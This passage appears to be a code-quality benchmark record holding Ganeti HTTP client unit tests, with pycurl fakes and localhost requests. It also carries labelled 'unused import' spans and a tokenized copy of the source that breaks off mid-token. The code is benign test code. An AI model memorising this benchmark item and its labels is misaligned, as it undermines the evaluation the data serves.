"metadata": "root.TestClientRequest.testPlainAddressIPv6", "header": "['class', 'TestClientRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 365 }, { "content": " def testOldStyleHeaders(self):\n headers = {\n \"Content-type\": \"text/plain\",\n \"Accept\": \"text/html\",\n }\n cr = http.client.HttpClientRequest(\"localhost\", 16481, \"GET\", \"/vg_list\",\n headers=headers)\n self.assert_(isinstance(cr.headers, list))\n self.assertEqual(sorted(cr.headers), [\n \"Accept: text/html\",\n \"Content-type: text/plain\",\n ])\n self.assertEqual(cr.url, \"https://localhost:16481/vg_list\")", "metadata": "root.TestClientRequest.testOldStyleHeaders", "header": "['class', 'TestClientRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 369 }, { "content": " def testNewStyleHeaders(self):\n headers = [\n \"Accept: text/html\",\n \"Content-type: text/plain; charset=ascii\",\n \"Server: httpd 1.0\",\n ]\n cr = http.client.HttpClientRequest(\"localhost\", 1234, \"GET\", \"/version\",\n headers=headers)\n self.assert_(isinstance(cr.headers, list))\n self.assertEqual(sorted(cr.headers), sorted(headers))\n self.assertEqual(cr.url, \"https://localhost:1234/version\")", "metadata": "root.TestClientRequest.testNewStyleHeaders", "header": "['class', 'TestClientRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 383 }, { "content": " def testPostData(self):\n cr = http.client.HttpClientRequest(\"localhost\", 1234, \"GET\", \"/version\",\n post_data=\"Hello World\")\n self.assertEqual(cr.post_data, \"Hello World\")", "metadata": "root.TestClientRequest.testPostData", "header": "['class', 'TestClientRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 395 }, { "content": " def testNoPostData(self):\n cr = http.client.HttpClientRequest(\"localhost\", 1234, \"GET\", \"/version\")\n self.assertEqual(cr.post_data, \"\")", "metadata": "root.TestClientRequest.testNoPostData", "header": "['class', 'TestClientRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 400 }, { "content": " def testCompletionCallback(self):\n for argname in [\"completion_cb\", \"curl_config_fn\"]:\n kwargs = {\n argname: NotImplementedError,\n }\n cr = http.client.HttpClientRequest(\"localhost\", 14038, \"GET\", \"/version\",\n **kwargs)\n self.assertEqual(getattr(cr, argname), NotImplementedError)\n\n for fn in [NotImplemented, {}, 1]:\n kwargs = {\n argname: fn,\n }\n self.assertRaises(AssertionError, http.client.HttpClientRequest,\n \"localhost\", 23150, \"GET\", \"/version\", **kwargs)", "metadata": "root.TestClientRequest.testCompletionCallback", "header": "['class', 'TestClientRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 404 }, { "content": "class _FakeCurl:\n\n", "metadata": "root._FakeCurl", "header": "['module', '___EOS___']", "index": 421 }, { "content": " def __init__(self):\n self.opts = {}\n self.info = NotImplemented", "metadata": "root._FakeCurl.__init__", "header": "['class', '_FakeCurl', ':', '___EOS___']", "index": 422 }, { "content": " def setopt(self, opt, value):\n assert opt not in self.opts, \"Option set more than once\"\n self.opts[opt] = value", "metadata": "root._FakeCurl.setopt", "header": "['class', '_FakeCurl', ':', '___EOS___']", "index": 426 }, { "content": " def getinfo(self, info):\n return self.info.pop(info)", "metadata": "root._FakeCurl.getinfo", "header": "['class', '_FakeCurl', ':', '___EOS___']", "index": 430 }, { "content": "class TestClientStartRequest(unittest.TestCase):\n\n\n\n\n\n\n\n", "metadata": "root.TestClientStartRequest", "header": "['module', '___EOS___']", "index": 434 }, { "content": " @staticmethod\n def _TestCurlConfig(curl):\n curl.setopt(pycurl.SSLKEYTYPE, \"PEM\")", "metadata": "root.TestClientStartRequest._TestCurlConfig", "header": "['class', 'TestClientStartRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 435 }, { "content": " def test(self):\n for method in [http.HTTP_GET, http.HTTP_PUT, \"CUSTOM\"]:\n for port in [8761, 29796, 19528]:\n for curl_config_fn in [None, self._TestCurlConfig]:\n for read_timeout in [None, 0, 1, 123, 36000]:\n self._TestInner(method, port, curl_config_fn, read_timeout)", "metadata": "root.TestClientStartRequest.test", "header": "['class', 'TestClientStartRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 439 }, { "content": " def _TestInner(self, method, port, curl_config_fn, read_timeout):\n for response_code in [http.HTTP_OK, http.HttpNotFound.code,\n http.HTTP_NOT_MODIFIED]:\n for response_body in [None, \"Hello World\",\n \"Very Long\\tContent here\\n\" * 171]:\n for errmsg in [None, \"error\"]:\n req = http.client.HttpClientRequest(\"localhost\", port, method,\n \"/version\",\n curl_config_fn=curl_config_fn,\n read_timeout=read_timeout)\n curl = _FakeCurl()\n pending = http.client._StartRequest(curl, req)\n self.assertEqual(pending.GetCurlHandle(), curl)\n self.assertEqual(pending.GetCurrentRequest(), req)\n\n # Check options\n opts = curl.opts\n self.assertEqual(opts.pop(pycurl.CUSTOMREQUEST), method)\n self.assertEqual(opts.pop(pycurl.URL),\n \"https://localhost:%s/version\" % port)\n if read_timeout is None:\n self.assertEqual(opts.pop(pycurl.TIMEOUT), 0)\n else:\n self.assertEqual(opts.pop(pycurl.TIMEOUT), read_timeout)\n self.assertFalse(opts.pop(pycurl.VERBOSE))\n self.assertTrue(opts.pop(pycurl.NOSIGNAL))\n self.assertEqual(opts.pop(pycurl.USERAGENT),\n http.HTTP_GANETI_VERSION)\n self.assertEqual(opts.pop(pycurl.PROXY), \"\")\n self.assertFalse(opts.pop(pycurl.POSTFIELDS))\n self.assertFalse(opts.pop(pycurl.HTTPHEADER))\n write_fn = opts.pop(pycurl.WRITEFUNCTION)\n self.assertTrue(callable(write_fn))\n if hasattr(pycurl, \"SSL_SESSIONID_CACHE\"):\n self.assertFalse(opts.pop(pycurl.SSL_SESSIONID_CACHE))\n if curl_config_fn:\n self.assertEqual(opts.pop(pycurl.SSLKEYTYPE), \"PEM\")\n else:\n self.assertFalse(pycurl.SSLKEYTYPE in opts)\n self.assertFalse(opts)\n\n if response_body is not None:\n offset = 0\n while offset < len(response_body):\n piece = response_body[offset:offset + 10]\n write_fn(piece)\n offset += len(piece)\n\n curl.info = {\n pycurl.RESPONSE_CODE: response_code,\n }\n if hasattr(pycurl, 'LOCAL_IP'):\n curl.info[pycurl.LOCAL_IP] = '127.0.0.1'\n if hasattr(pycurl, 'LOCAL_PORT'):\n curl.info[pycurl.LOCAL_PORT] = port\n\n # Finalize request\n pending.Done(errmsg)\n\n self.assertFalse(curl.info)\n\n # Can only finalize once\n self.assertRaises(AssertionError, pending.Done, True)\n\n if errmsg:\n self.assertFalse(req.success)\n else:\n self.assertTrue(req.success)\n self.assertEqual(req.error, errmsg)\n self.assertEqual(req.resp_status_code, response_code)\n if response_body is None:\n self.assertEqual(req.resp_body, \"\")\n else:\n self.assertEqual(req.resp_body, response_body)\n\n # Check if resetting worked\n assert not hasattr(curl, \"reset\")\n opts = curl.opts\n self.assertFalse(opts.pop(pycurl.POSTFIELDS))\n self.assertTrue(callable(opts.pop(pycurl.WRITEFUNCTION)))\n self.assertFalse(opts)\n\n self.assertFalse(curl.opts,\n msg=\"Previous checks did not consume all options\")\n assert id(opts) == id(curl.opts)", "metadata": "root.TestClientStartRequest._TestInner", "header": "['class', 'TestClientStartRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 446 }, { "content": " def _TestWrongTypes(self, *args, **kwargs):\n req = http.client.HttpClientRequest(*args, **kwargs)\n self.assertRaises(AssertionError, http.client._StartRequest,\n _FakeCurl(), req)", "metadata": "root.TestClientStartRequest._TestWrongTypes", "header": "['class', 'TestClientStartRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 532 }, { "content": " def testWrongHostType(self):\n self._TestWrongTypes(unicode(\"localhost\"), 8080, \"GET\", \"/version\")", "metadata": "root.TestClientStartRequest.testWrongHostType", "header": "['class', 'TestClientStartRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 537 }, { "content": " def testWrongUrlType(self):\n self._TestWrongTypes(\"localhost\", 8080, \"GET\", unicode(\"/version\"))", "metadata": "root.TestClientStartRequest.testWrongUrlType", "header": "['class', 'TestClientStartRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 540 }, { "content": " def testWrongMethodType(self):\n self._TestWrongTypes(\"localhost\", 8080, unicode(\"GET\"), \"/version\")", "metadata": "root.TestClientStartRequest.testWrongMethodType", "header": "['class', 'TestClientStartRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 543 }, { "content": " def testWrongHeaderType(self):\n self._TestWrongTypes(\"localhost\", 8080, \"GET\", \"/version\",\n headers={\n unicode(\"foo\"): \"bar\",\n })", "metadata": "root.TestClientStartRequest.testWrongHeaderType", "header": "['class', 'TestClientStartRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 546 }, { "content": " def testWrongPostDataType(self):\n self._TestWrongTypes(\"localhost\", 8080, \"GET\", \"/version\",\n post_data=unicode(\"verylongdata\" * 100))", "metadata": "root.TestClientStartRequest.testWrongPostDataType", "header": "['class', 'TestClientStartRequest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 552 }, { "content": "class _EmptyCurlMulti:\n", "metadata": "root._EmptyCurlMulti", "header": "['module', '___EOS___']", "index": 557 }, { "content": " def perform(self):\n return (pycurl.E_MULTI_OK, 0)", "metadata": "root._EmptyCurlMulti.perform", "header": "['class', '_EmptyCurlMulti', ':', '___EOS___']", "index": 558 }, { "content": " def info_read(self):\n return (0, [], [])", "metadata": "root._EmptyCurlMulti.info_read", "header": "['class', '_EmptyCurlMulti', ':', '___EOS___']", "index": 561 }, { "content": "class TestClientProcessRequests(unittest.TestCase):", "metadata": "root.TestClientProcessRequests", "header": "['module', '___EOS___']", "index": 565 }, { "content": " def testEmpty(self):\n requests = []\n http.client.ProcessRequests(requests, _curl=NotImplemented,\n _curl_multi=_EmptyCurlMulti)\n self.assertEqual(requests, [])", "metadata": "root.TestClientProcessRequests.testEmpty", "header": "['class', 'TestClientProcessRequests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 566 }, { "content": "class TestProcessCurlRequests(unittest.TestCase):\n class _FakeCurlMulti:\n def __init__(self):\n self.handles = []\n self.will_fail = []\n self._expect = [\"perform\"]\n self._counter = itertools.count()\n\n def add_handle(self, curl):\n assert curl not in self.handles\n self.handles.append(curl)\n if self._counter.next() % 3 == 0:\n self.will_fail.append(curl)\n\n def remove_handle(self, curl):\n self.handles.remove(curl)\n\n def perform(self):\n assert self._expect.pop(0) == \"perform\"\n\n if self._counter.next() % 2 == 0:\n self._expect.append(\"perform\")\n return (pycurl.E_CALL_MULTI_PERFORM, None)\n\n self._expect.append(\"info_read\")\n\n return (pycurl.E_MULTI_OK, len(self.handles))\n\n def info_read(self):\n assert self._expect.pop(0) == \"info_read\"\n successful = []\n failed = []\n if self.handles:\n if self._counter.next() % 17 == 0:\n curl = self.handles[0]\n if curl in self.will_fail:\n failed.append((curl, -1, \"test error\"))\n else:\n successful.append(curl)\n remaining_messages = len(self.handles) % 3\n if remaining_messages > 0:\n self._expect.append(\"info_read\")\n else:\n self._expect.append(\"select\")\n else:\n remaining_messages = 0\n self._expect.append(\"select\")\n return (remaining_messages, successful, failed)\n\n def select(self, timeout):\n # Never compare floats for equality\n assert timeout >= 0.95 and timeout <= 1.05\n assert self._expect.pop(0) == \"select\"\n self._expect.append(\"perform\")\n", "metadata": "root.TestProcessCurlRequests", "header": "['module', '___EOS___']", "index": 573 }, { "content": " def test(self):\n requests = [_FakeCurl() for _ in range(10)]\n multi = self._FakeCurlMulti()\n for (curl, errmsg) in http.client._ProcessCurlRequests(multi, requests):\n self.assertTrue(curl not in multi.handles)\n if curl in multi.will_fail:\n self.assertTrue(\"test error\" in errmsg)\n else:\n self.assertTrue(errmsg is None)\n self.assertFalse(multi.handles)\n self.assertEqual(multi._expect, [\"select\"])", "metadata": "root.TestProcessCurlRequests.test", "header": "['class', 'TestProcessCurlRequests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 628 }, { "content": "class TestProcessRequests(unittest.TestCase):\n class _DummyCurlMulti:\n pass\n\n\n\n class _MonitorChecker:\n def __init__(self):\n self._monitor = None\n\n def GetMonitor(self):\n return self._monitor\n\n def __call__(self, monitor):\n assert callable(monitor.GetLockInfo)\n self._monitor = monitor\n\n", "metadata": "root.TestProcessRequests", "header": "['module', '___EOS___']", "index": 641 }, { "content": " def testNoMonitor(self):\n self._Test(False)", "metadata": "root.TestProcessRequests.testNoMonitor", "header": "['class', 'TestProcessRequests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 645 }, { "content": " def testWithMonitor(self):\n self._Test(True)", "metadata": "root.TestProcessRequests.testWithMonitor", "header": "['class', 'TestProcessRequests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 648 }, { "content": " def _Test(self, use_monitor):\n def cfg_fn(port, curl):\n curl.opts[\"__port__\"] = port\n\n def _LockCheckReset(monitor, req):\n self.assertTrue(monitor._lock.is_owned(shared=0),\n msg=\"Lock must be owned in exclusive mode\")\n assert not hasattr(req, \"lockcheck__\")\n setattr(req, \"lockcheck__\", True)\n\n def _BuildNiceName(port, default=None):\n if port % 5 == 0:\n return \"nicename%s\" % port\n else:\n # Use standard name\n return default\n\n requests = \\\n [http.client.HttpClientRequest(\"localhost\", i, \"POST\", \"/version%s\" % i,\n curl_config_fn=compat.partial(cfg_fn, i),\n completion_cb=NotImplementedError,\n nicename=_BuildNiceName(i))\n for i in range(15176, 15501)]\n requests_count = len(requests)\n\n if use_monitor:\n lock_monitor_cb = self._MonitorChecker()\n else:\n lock_monitor_cb = None\n\n def _ProcessRequests(multi, handles):\n self.assertTrue(isinstance(multi, self._DummyCurlMulti))\n self.assertEqual(len(requests), len(handles))\n self.assertTrue(compat.all(isinstance(curl, _FakeCurl)\n for curl in handles))\n\n # Prepare for lock check\n for req in requests:\n assert req.completion_cb is NotImplementedError\n if use_monitor:\n req.completion_cb = \\\n compat.partial(_LockCheckReset, lock_monitor_cb.GetMonitor())\n\n for idx, curl in enumerate(handles):\n try:\n port = curl.opts[\"__port__\"]\n except KeyError:\n self.fail(\"Per-request config function was not called\")\n\n if use_monitor:\n # Check if lock information is correct\n lock_info = lock_monitor_cb.GetMonitor().GetLockInfo(None)\n expected = \\\n [(\"rpc/%s\" % (_BuildNiceName(handle.opts[\"__port__\"],\n default=(\"localhost/version%s\" %\n handle.opts[\"__port__\"]))),\n None,\n [threading.currentThread().getName()], None)\n for handle in handles[idx:]]\n self.assertEqual(sorted(lock_info), sorted(expected))\n\n if port % 3 == 0:\n response_code = http.HTTP_OK\n msg = None\n else:\n response_code = http.HttpNotFound.code\n msg = \"test error\"\n\n curl.info = {\n pycurl.RESPONSE_CODE: response_code,\n }\n if hasattr(pycurl, 'LOCAL_IP'):\n curl.info[pycurl.LOCAL_IP] = '127.0.0.1'\n if hasattr(pycurl, 'LOCAL_PORT'):\n curl.info[pycurl.LOCAL_PORT] = port\n\n # Prepare for reset\n self.assertFalse(curl.opts.pop(pycurl.POSTFIELDS))\n self.assertTrue(callable(curl.opts.pop(pycurl.WRITEFUNCTION)))\n\n yield (curl, msg)\n\n if use_monitor:\n self.assertTrue(compat.all(req.lockcheck__ for req in requests))\n\n if use_monitor:\n self.assertEqual(lock_monitor_cb.GetMonitor(), None)\n\n http.client.ProcessRequests(requests, lock_monitor_cb=lock_monitor_cb,\n _curl=_FakeCurl,\n _curl_multi=self._DummyCurlMulti,\n _curl_process=_ProcessRequests)\n for req in requests:\n if req.port % 3 == 0:\n self.assertTrue(req.success)\n self.assertEqual(req.error, None)\n else:\n self.assertFalse(req.success)\n self.assertTrue(\"test error\" in req.error)\n\n # See if monitor was disabled\n if use_monitor:\n monitor = lock_monitor_cb.GetMonitor()\n self.assertEqual(monitor._pending_fn, None)\n self.assertEqual(monitor.GetLockInfo(None), [])\n else:\n self.assertEqual(lock_monitor_cb, None)\n\n self.assertEqual(len(requests), requests_count)", "metadata": "root.TestProcessRequests._Test", "header": "['class', 'TestProcessRequests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 662 }, { "content": " def testBadRequest(self):\n bad_request = http.client.HttpClientRequest(\"localhost\", 27784,\n \"POST\", \"/version\")\n bad_request.success = False\n\n self.assertRaises(AssertionError, http.client.ProcessRequests,\n [bad_request], _curl=NotImplemented,\n _curl_multi=NotImplemented, _curl_process=NotImplemented)", "metadata": "root.TestProcessRequests.testBadRequest", "header": "['class', 'TestProcessRequests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 772 } ]
[ { "span": "import os", "start_line": 33, "start_column": 0, "end_line": 33, "end_column": 9 }, { "span": "import time", "start_line": 35, "start_column": 0, "end_line": 35, "end_column": 11 }, { "span": "import tempfile", "start_line": 36, "start_column": 0, "end_line": 36, "end_column": 15 }, { "span": "import ganeti.http.server", "start_line": 46, "start_column": 0, "end_line": 46, "end_column": 25 }, { "span": "import ganeti.http.client", "start_line": 47, "start_column": 0, "end_line": 47, "end_column": 25 }, { "span": "import ganeti.http.auth", "start_line": 48, "start_column": 0, "end_line": 48, "end_column": 23 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "C", ")", " ", "2007", ",", " ", "2008", " ", "Goo", "gle", " ", "Inc", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Redistributi", "on", " ", "and", " ", "use", " ", "in", " ", "source", " ", "and", " ", "binar", "y", " ", "forms", ",", " ", "with", " ", "or", " ", "with", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "modification", ",", " ", "are", " ", "permit", "ted", " ", "provided", " ", "tha", "t", " ", "the", " ", "follow", "ing", " ", "condition", "s", " ", "are", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "met", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "1", ".", " ", "Redistributi", "ons", " ", "of", " ", "source", " ", "code", " ", "must", " ", "retain", " ", "the", " ", "above", " ", "copyr", "ight", " ", "notice", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "2", ".", " ", "Redistributi", "ons", " ", "in", " ", "binar", "y", " ", "form", " ", "must", " ", "reproduce", " ", "the", " ", "above", " ", "copyright_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", " ", "in", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "documentation", " ", "and", "/", "or", " ", "other", " ", "material", "s", " ", "provided", " ", "with", " ", "the", " ", "distribu", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "THIS", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "BY", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "AND", " ", "CONTRIB", "UTO", "RS", " ", "\"", "AS_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "IS", "\"", " ", "AND", " ", "ANY", " ", "EXPR", "ESS", " ", "OR", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", ",", " ", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TO", ",", " ", "THE", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "PUR", "POS", "E", " ", "ARE", " ", "DISC", "LAI", "MED", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ER", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "CONTRIB", "UTO", "RS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "DIRECT", ",", " ", "INDI", "RECT", ",", " ", "INC", "IDENT", "AL", ",", " ", "SPECIAL", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "EXE", "MPL", "ARY", ",", " ", "OR", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S", " ", "(", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "PROC", "URE", "MENT", " ", "OF", " ", "SUBST", "ITU", "TE", " ", "GOOD", "S", " ", "OR", " ", "SERVICES", ";", " ", "LOSS", " ", "OF", " ", "USE", ",", " ", "DATA", ",", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "PROF", "IT", "S", ";", " ", "OR", " ", "BUS", "INE", "SS", " ", "INTER", "RU", "PTION", ")", " ", "HO", "WE", "VER", " ", "CAU", "SED", " ", "AND", " ", "ON", " ", "ANY", " ", "THE", "ORY", " ", "OF_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "CONTR", "ACT", ",", " ", "STRI", "CT", " ", "LI", "ABI", "LIT", "Y", ",", " ", "OR", " ", "TOR", "T", " ", "(", "INC", "LU", "DING", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "NEG", "LIG", "ENCE", " ", "OR", " ", "OTHER", "WI", "SE", ")", " ", "ARI", "SIN", "G", " ", "IN", " ", "ANY", " ", "WAY", " ", "OUT", " ", "OF", " ", "THE", " ", "USE", " ", "OF", " ", "THIS", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "SOFT", "WARE", ",", " ", "EVE", "N", " ", "IF", " ", "ADV", "ISE", "D", " ", "OF", " ", "THE", " ", "POS", "SIB", "ILI", "TY", " ", "OF", " ", "SUC", "H", " ", "DA", "MAGE", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Script", " ", "for", " ", "unittest", "ing", " ", "the", " ", "http", " ", "module", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pycurl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "itertools_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "threading_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "c", "String", "IO_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "gane", "ti_", "import_", "http_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "gane", "ti_", "import_", "compat_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "gane", "ti_", "._", "rap", "i_", "._", "auth_", "import_", "users", "\\u", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "gane", "ti_", "._", "http_", "._", "server_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "gane", "ti_", "._", "http_", "._", "client_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "gane", "ti_", "._", "http_", "._", "auth_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "testutils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "testutils_", "._", "Gan", "eti", "Test", "Program_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "Start", "Lines_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "case", "s", " ", "for", " ", "start", " ", "line", " ", "classe", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Start", "Lines_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test", "Client", "To", "Server", "Start", "Line_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "client", " ", "to", " ", "server", " ", "start", " ", "line", " ", "(", "HTTP", " ", "request", ")\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "line_", "=_", "http_", "._", "Http", "Client", "To", "Server", "Start", "Line_", "(_", "\"", "GET", "\"_", ",_", "\"/\"_", ",_", "\"", "HTTP", "/", "1.1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "str_", "(_", "start", "\\u", "line_", ")_", ",_", "\"", "GET", " ", "/", " ", "HTTP", "/", "1.1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Start", "Lines_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Server", "To", "Client", "Start", "Line_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "server", " ", "to", " ", "client", " ", "start", " ", "line", " ", "(", "HTTP", " ", "response", 